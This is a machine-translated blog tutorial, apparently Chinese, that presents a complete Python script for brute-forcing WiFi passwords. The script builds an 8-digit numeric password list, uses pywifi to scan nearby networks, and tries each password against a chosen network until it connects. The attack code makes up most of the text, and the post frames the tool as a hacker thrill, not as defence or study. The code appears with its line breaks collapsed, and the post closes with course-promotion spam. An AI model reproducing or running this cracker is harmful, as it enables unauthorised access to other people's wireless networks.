WiFi Cracking should be a hacker dream that everyone of us has , In a public area , Turn on the computer , Just like the operation in the matrix , How handsome , ha-ha
First of all, suppose WiFi The password is 8 digit ,
1、 First, we need to generate a password book to record all possible hotspot passwords , In this codebook , Need to list all the password possibilities ;
2、 then , use Python Automatically test the password until the connection is successful .
The generation of codebook is actually relatively simple .
The idea is actually right 8 A position loop generates 0,1.....9 The number of .
The specific code is as follows :(8 Loop nesting )
import osfile_name = "making_pwd.txt"f = open(file_name, "w+")# Open file for i in range(10): # Layer 1 cycle for j in range(10): # The second cycle for k in range(10): # The third cycle for q in range(10): # Fourth layer circulation for m in range(10): # The fifth layer of circulation for n in range(10): # The sixth layer of circulation for o in range(10): # The seventh layer of circulation for p in range(10): # Eighth layer circulation insert_str = str(i) + str(j) + str(k) + str(q) + \ str(m) + str(n) + str(o) + str(p) # Data splicing and data type conversion . print(insert_str) f.write(insert_str) # Write password f.write("\n") # Change a password once f.close()# Close file print(" A codebook has been generated !")
The core code is this loop nesting , The essence is also very simple :
Let's show you the core code again
file_name = "making_pwd.txt"f = open(file_name, "w+")# Open file for i in range(10): # Layer 1 cycle for j in range(10): # The second cycle for k in range(10): # The third cycle for q in range(10): # Fourth layer circulation for m in range(10): # The fifth layer of circulation for n in range(10): # The sixth layer of circulation for o in range(10): # The seventh layer of circulation for p in range(10): # Eighth layer circulation insert_str = str(i) + str(j) + str(k) + str(q) + \ str(m) + str(n) + str(o) + str(p) # Data splicing and data type conversion . print(insert_str) f.write(insert_str) # Write password f.write("\n") # Change a password once f.close()
The file generated in this way is relatively large , But there is no way :
First of all, say , We need to install pywifi This module , If you don't have this module, you can install it first .
then , We? , Directly complete all the code , The analysis of the code is in the comments , Comments have a detailed code explanation :
import pywifiimport timefrom pywifi import const# The import module # WiFi Scanning module def wifi_scan(): # initialization wifi wifi = pywifi.PyWiFi() # Use the first wireless card interface = wifi.interfaces()[0] # Start scanning interface.scan() # Display scanned information . for i in range(4): time.sleep(1) print('\r Scanning is available WiFi in , Please later ...(' + str(3 - i), end=')') print('\r Scan complete !\n' + '-' * 38) print('\r{:4}{:6}{}'.format(' Number ', ' Signal strength ', 'wifi name ')) # Scan results ,scan_results() Returns a set , It stores every wifi object bss = interface.scan_results() # Deposit wifi A collection of names wifi_name_set = set() for w in bss: # Solve the mess wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8')) wifi_name_set.add(wifi_name_and_signal) # Store in the list and sort by signal wifi_name_list = list(wifi_name_set) wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True) num = 0 # Format output while num < len(wifi_name_list): print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1])) num += 1 print('-' * 38) # return wifi list return wifi_name_list# WIFI Crack the module def wifi_password_crack(wifi_name): # Dictionary path wifi_dic_path = input(" Please enter local for WIFI Brute force password dictionary (txt Format , Each password occupies 1 That's ok ) The path of :") with open(wifi_dic_path, 'r') as f: # Traversal password for pwd in f: # Remove line breaks at the end of passwords pwd = pwd.strip('\n') # establish wifi object wifi = pywifi.PyWiFi() # Create a network card object , For the first time wifi network card interface = wifi.interfaces()[0] # Disconnect all wifi Connect interface.disconnect() # Wait for it to disconnect while interface.status() == 4: # When it is connected , Use the loop to wait for it to disconnect pass # Create connection file ( object ) profile = pywifi.Profile() # wifi name profile.ssid = wifi_name # Requires authentication profile.auth = const.AUTH_ALG_OPEN # wifi Default encryption algorithm profile.akm.append(const.AKM_TYPE_WPA2PSK) profile.cipher = const.CIPHER_TYPE_CCMP # wifi password profile.key = pwd # Delete all wifi Connection file interface.remove_all_network_profiles() # Set up the new wifi Connection file tmp_profile = interface.add_network_profile(profile) # Start trying to connect interface.connect(tmp_profile) start_time = time.time() while time.time() - start_time < 1.5: # The interface status is 4 Represents a successful connection ( When the attempt time is greater than 1.5 Seconds later is the wrong password , After testing, the correct password is generally in 1.5 Connect... In seconds , To improve accuracy, you can set to 2s Or more , The corresponding brute force cracking speed will slow down ) if interface.status() == 4: print(f'\r Successful connection ! The password for :{pwd}') exit(0) else: print(f'\r Using password {pwd} Try to crack .', end='')# The main function def main(): # Exit Peugeot exit_flag = 0 # Target number target_num = -1 while not exit_flag: try: print('WiFi Master key '.center(35, '-')) # Call the scan module , Returns a sorted wifi list wifi_list = wifi_scan() # Let the user choose what to crack wifi Number , And judge and handle the number entered by the user choose_exit_flag = 0 while not choose_exit_flag: try: target_num = int(input(' Please select the... You want to try to crack wifi:')) # If you want to choose wifi The number is in the list , Continue the second judgment , Otherwise, re-enter if target_num in range(len(wifi_list)): # Secondary confirmation while not choose_exit_flag: try: choose = str(input(f' You choose to crack WiFi The name is :{
wifi_list[target_num][1]}, Are you sure? ?(Y/N)')) # Lower case user input , And decide if choose.lower() == 'y': choose_exit_flag = 1 elif choose.lower() == 'n': break # Handle user input of other letters else: print(' Input only Y/N Oh o(* ̄︶ ̄*)o') # Handle user non alphabetic input except ValueError: print(' Input only Y/N Oh o(* ̄︶ ̄*)o') # Quit cracking if choose_exit_flag == 1: break else: print(' Please re-enter (*^▽^*)') except ValueError: print(' You can only enter numbers o(* ̄︶ ̄*)o') # Password cracking , Pass in the selected by the user wifi name wifi_password_crack(wifi_list[target_num][1]) print('-' * 38) exit_flag = 1 except Exception as e: print(e) raise eif __name__ == '__main__': # main function Conduct a test main()
Here's the thing to notice , We need to manually select the password book to test , Manually select the password book !!
Now let's show and explain in modules :
The import module :
import pywifiimport timefrom pywifi import const# The import module
This is the defined scan used WiFi One way , The function of this method is to scan all connectable within the LAN WiFi, Then print it out :
# WiFi Scanning module def wifi_scan(): # initialization wifi wifi = pywifi.PyWiFi() # Use the first wireless card interface = wifi.interfaces()[0] # Start scanning interface.scan() # Display scanned information . for i in range(4): time.sleep(1) print('\r Scanning is available WiFi in , Please later ...(' + str(3 - i), end=')') print('\r Scan complete !\n' + '-' * 38) print('\r{:4}{:6}{}'.format(' Number ', ' Signal strength ', 'wifi name ')) # Scan results ,scan_results() Returns a set , It stores every wifi object bss = interface.scan_results() # Deposit wifi A collection of names wifi_name_set = set() for w in bss: # Solve the mess wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8')) wifi_name_set.add(wifi_name_and_signal) # Store in the list and sort by signal wifi_name_list = list(wifi_name_set) wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True) num = 0 # Format output while num < len(wifi_name_list): print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1])) num += 1 print('-' * 38) # return wifi list return wifi_name_list
This is a function that uses the password book to automatically test the password :
# WIFI Crack the module def wifi_password_crack(wifi_name): # Dictionary path wifi_dic_path = input(" Please enter local for WIFI Brute force password dictionary (txt Format , Each password occupies 1 That's ok ) The path of :") with open(wifi_dic_path, 'r') as f: # Traversal password for pwd in f: # Remove line breaks at the end of passwords pwd = pwd.strip('\n') # establish wifi object wifi = pywifi.PyWiFi() # Create a network card object , For the first time wifi network card interface = wifi.interfaces()[0] # Disconnect all wifi Connect interface.disconnect() # Wait for it to disconnect while interface.status() == 4: # When it is connected , Use the loop to wait for it to disconnect pass # Create connection file ( object ) profile = pywifi.Profile() # wifi name profile.ssid = wifi_name # Requires authentication profile.auth = const.AUTH_ALG_OPEN # wifi Default encryption algorithm profile.akm.append(const.AKM_TYPE_WPA2PSK) profile.cipher = const.CIPHER_TYPE_CCMP # wifi password profile.key = pwd # Delete all wifi Connection file interface.remove_all_network_profiles() # Set up the new wifi Connection file tmp_profile = interface.add_network_profile(profile) # Start trying to connect interface.connect(tmp_profile) start_time = time.time() while time.time() - start_time < 1.5: # The interface status is 4 Represents a successful connection ( When the attempt time is greater than 1.5 Seconds later is the wrong password , After testing, the correct password is generally in 1.5 Connect... In seconds , To improve accuracy, you can set to 2s Or more , The corresponding brute force cracking speed will slow down ) if interface.status() == 4: print(f'\r Successful connection ! The password for :{pwd}') exit(0) else: print(f'\r Using password {pwd} Try to crack .', end='')
This function is to carry out the actual operation to realize the function we want .
# The main function def main(): # Exit Peugeot exit_flag = 0 # Target number target_num = -1 while not exit_flag: try: print('WiFi Master key '.center(35, '-')) # Call the scan module , Returns a sorted wifi list wifi_list = wifi_scan() # Let the user choose what to crack wifi Number , And judge and handle the number entered by the user choose_exit_flag = 0 while not choose_exit_flag: try: target_num = int(input(' Please select the... You want to try to crack wifi:')) # If you want to choose wifi The number is in the list , Continue the second judgment , Otherwise, re-enter if target_num in range(len(wifi_list)): # Secondary confirmation while not choose_exit_flag: try: choose = str(input(f' You choose to crack WiFi The name is :{
wifi_list[target_num][1]}, Are you sure? ?(Y/N)')) # Lower case user input , And decide if choose.lower() == 'y': choose_exit_flag = 1 elif choose.lower() == 'n': break # Handle user input of other letters else: print(' Input only Y/N Oh o(* ̄︶ ̄*)o') # Handle user non alphabetic input except ValueError: print(' Input only Y/N Oh o(* ̄︶ ̄*)o') # Quit cracking if choose_exit_flag == 1: break else: print(' Please re-enter (*^▽^*)') except ValueError: print(' You can only enter numbers o(* ̄︶ ̄*)o') # Password cracking , Pass in the selected by the user wifi name wifi_password_crack(wifi_list[target_num][1]) print('-' * 38) exit_flag = 1 except Exception as e: print(e) raise e
An interface for executing code :
if __name__ == '__main__': # main function Conduct a test main()
What about the above , Is our use Python Tools Pycharm To crack WiFi Introduction of a case of password , This way is more stupid and violent , It may not work if you encounter a complex password , It takes too much time .
Learn from good examples Python Whether it's employment or sideline, it's good to make money , But learn to Python Still have a learning plan . Finally, let's share a complete set of Python Learning materials , For those who want to learn Python Let's have a little help !
Python The technical points in all directions are sorted out , Form a summary of knowledge points in various fields , The use of it is , You can find the corresponding learning resources according to the above knowledge points , Make sure you learn more comprehensively .
When I learn a certain foundation , When you have your own understanding , I will read some books compiled by my predecessors or handwritten notes , These notes detail their understanding of some technical points , These understandings are quite original , You can learn different ideas .
Watch the zero basics learning video , Watching video learning is the quickest and most effective way , Follow the teacher's ideas in the video , From foundation to depth , It's still easy to get started .
Optical theory is useless , Learn to knock together , Do it , Can you apply what you have learned to practice , At this time, we can make some practical cases to learn .
Check the learning results .
We learn Python Must be to find a well paid job , The following interview questions are from Ali 、 tencent 、 The latest interview materials of big Internet companies such as byte , And the leader Ali gave an authoritative answer , After brushing this set of interview materials, I believe everyone can find a satisfactory job .
Guarantee 100% free
】Python Information 、 technology 、 Course 、 answer 、 For consultation, you can also directly click on the business card below ,
Add official customer service Qi
↓